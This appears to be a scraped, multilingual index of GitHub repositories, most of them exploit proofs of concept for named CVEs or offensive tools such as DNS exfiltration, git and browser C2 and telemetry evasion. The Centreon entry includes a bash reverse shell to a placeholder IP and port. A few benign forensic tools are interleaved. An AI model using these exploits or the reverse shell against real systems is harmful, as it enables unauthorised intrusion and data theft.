Cisco-CVE-2025-20281-illdeed

CVE-2025-20281 — Cisco ISE ERS API 미인증 RCE 익스플로잇 이 저장소는 CVE-2025-20281 에 대한 Python 3 개념 증명 익스플로잇입니다. 이는 Cisco Identity Services Engine ISE의 심각한 취약점으로, ERS API를 통해 루트 권한으로 미인증 원격 코드 실행RCE을 가능하게 합니다. 🩻 취약점 개요 Cisco ISE ERS /ers/sdk 엔드포인트는 사용자 생성 요청을 처리할 때 인증을 검증하지 않습니다. InternalUser 객체의 name 매개변수에 ...

CVE-2018-2628

CVE-2018-2628 0x01 Nessus スキャン 0x02 K8 Tools GetShell 0x03 CMDクエリ 使用方法: python cve-2018-2628.py set url :http://xx.xx.xx.xx:8001/beawlsinternal/wlscmd.jsp cmd : whoami win-xxx8cb989qh\administrator cmd : net user \WIN-XXX8CB989QH 的用户帐户...

palo-alto-panos-cve-2024-0012

CVE-2024-0012 및 CVE-2024-9474 Palo Alto PAN-OS의 관리 웹 인터페이스 인증 우회PAN-SA-2024-0015 및 인증된 명령 주입 기술적 세부 사항은 블로그 게시물을 참조하세요 영향을 받는 버전 TBD 익스플로잇 작성자 이 익스플로잇은 watchTowr @watchtowrcyber의 Sonny가 작성했습니다. watchTowr Labs 팔로우 최신 보안 연구를 위해 watchTowr Labs 팀을 팔로우하세요. https://labs.watchtowr.com/...

CVE-2022-35914-poc

CVE-2022-35914 PoC 参照 https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr 使い方 pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using a...

CVE-2023-29084

CVE-2023-29084 ManageEngine ADManager Plus의 명령 주입 Poc POST /api/json/admin/saveServerSettings HTTP/1.1 Host: 10.10.10.99:8080 Content-Length: 183 Accept: application/json, text/javascript, /; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64...

cve-2024-31317

Исследование CVE-2024-31317 CVE-2024-31317 предоставляет непривилегированный доступ к любому uid и области SELinux, доступным обычным приложениям Android. Это обеспечивает доступ к uid 1000 system и uid 2000 shell, и может быть полностью вызвано непривилегированным приложением, что позволяет...

procrustes

Procrustes Bash-скрипт, который автоматизирует эксфильтрацию данных через DNS в случае, если мы имеем слепое выполнение команд на сервере, где все исходящие соединения, кроме DNS, заблокированы. Скрипт в настоящее время поддерживает sh, bash и powershell и совместим с выполнением команд в стиле...

procrustes

Procrustes A bash script that automates the exfiltration of data over dns in case we have a blind command execution on a server where all outbound connections except DNS are blocked. The script currently supports sh, bash and powershell and is compatible with exec style command execution e.g...

cve-2024-10220-test

CVE-2024-10220 테스트 저장소 이 저장소는 중앙오클라호마 대학교University of Central Oklahoma의 HPC 보안 연구의 일환으로 CVE-2024-10220 Kubernetes gitRepo 볼륨 취약점을 테스트하는 데 사용됩니다. 경고: 이 저장소는 통제된 보안 테스트를 위해 악성 Git 훅을 포함하고 있습니다. 프로덕션 환경에서 사용하지 마십시오. 취약점 세부 정보 CVE: CVE-2024-10220 구성 요소: Kubernetes kubelet gitRepo 볼륨 영향: Kubernetes...

CVE-2022-29337

CVE-2022-29337 Было обнаружено, что C-DATA FD702XW-X-R430 v2.1.13X001 содержит уязвимость внедрения команд через параметр vacmd в formlanipv6. Эта уязвимость позволяет злоумышленникам выполнять произвольные команды с помощью специально созданного HTTP-запроса...

gitpwnd

GitPwnd GitPwnd는 네트워크 침투 테스트를 돕는 도구입니다. GitPwnd를 사용하면 공격자가 손상된 머신에 명령을 보내고 git 저장소를 명령 및 제어 전송 계층으로 사용하여 결과를 다시 받을 수 있습니다. git을 통신 메커니즘으로 사용함으로써, 손상된 머신은 해당 머신이 신뢰하지 않는 호스트 또는 IP에 있을 가능성이 높은 공격 서버와 직접 통신할 필요가 없습니다. 현재 GitPwnd는 명령 및 제어 git 저장소가 GitHub에 호스팅된다고 가정하지만, 이는 현재 버전의 구현 세부 사항일 뿐입니다. 이와 동일...

CVE-2019-19268

CVE-2019-19268 Затронутая версия: rConfig 3.9.2. Описание Множество векторов атак в rConfig v3.9.2 из-за неправильной конфигурации, что позволяет локальным пользователям выполнять команды root через sudo. Обнаружившие dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 Email:...

CVE-2023-32315-Openfire-Bypass

CVE-2023-32315 0x01 반환된 JSESSIONID와 csrftoken 획득, 요청 패키지 구성하여 사용자 추가 JSESSIONID, csrftoken 대체 cd CVE-2023-32315-Openfire-Bypass/scanall go mod tidy go run main.go -u http://openfire.com:9090 0x02 플러그인 컴파일 및 설치 mvn clean package 또는 릴리즈에서 플러그인 다운로드 0x03 플러그인 업로드 0x04 webshel 획득 0x05 명령 실행...

LOLSpoof

LOLSpoof LOLSpoof — это интерактивная оболочка, которая автоматически подменяет аргументы командной строки запущенного процесса. Просто укажите вашу подозрительную команду LOLBin например, powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA...., и LOLSpoof позаботится о том, чтобы телеметрия...

timesketch

Timesketch Table of Contents 1. About Timesketch 2. Getting started 3. Community 4. Contributing About Timesketch Timesketch is an open-source tool for collaborative forensic timeline analysis. Using sketches you and your collaborators can easily organize your timelines and analyze them all at th...

CVE-2018-18649

CVE-2018-18649 CVE-2018-18649 EXP Описание EXP см.: Уязвимость удаленного выполнения команд в Gitlab Wiki API CVE-2018-18649...

Browser-ExternalC2

Browser-EC2...

CVE-2019-19699

CVE-2019-19699 Centreon = 명령어 기타로 이동합니다. 아래 이미지와 같이 추가 를 클릭합니다. 이제 bash 리버스 셸 을 Miscellaneous 명령어로 생성합니다. !/bin/bash bash -i & /dev/tcp/IP/PORT 0&1 그리고 저장 을 클릭합니다. 이제 설정 Pollers로 이동한 후 현재 Central 폴러를 클릭합니다. 이것은 폴러 구성 수정 메뉴에 접근할 수 있게 해줍니다. 여기서 아래로 스크롤하여 재시작 후 명령어 를 설정할 수 있습니다. 이전에 생성한 리버스 셸 을 선택하고...

Browser-C2

Browser-C2 브라우저를 사용하여 C2 작전을 수행하는 사후 침투 에이전트입니다...

class-dump

class-dump class-dump는 Mach-O 파일의 Objective-C 세그먼트를 검사하기 위한 명령줄 유틸리티입니다. 클래스, 카테고리 및 프로토콜에 대한 선언을 생성합니다. 이는 'otool -ov'를 사용하여 제공되는 정보와 동일하지만, 일반적인 Objective-C 선언 형태로 표시됩니다. 최신 버전 및 정보는 다음에서 확인할 수 있습니다: http://stevenygard.com/projects/class-dump 소스 코드는 제 Github 저장소에서도 확인할 수 있습니다:...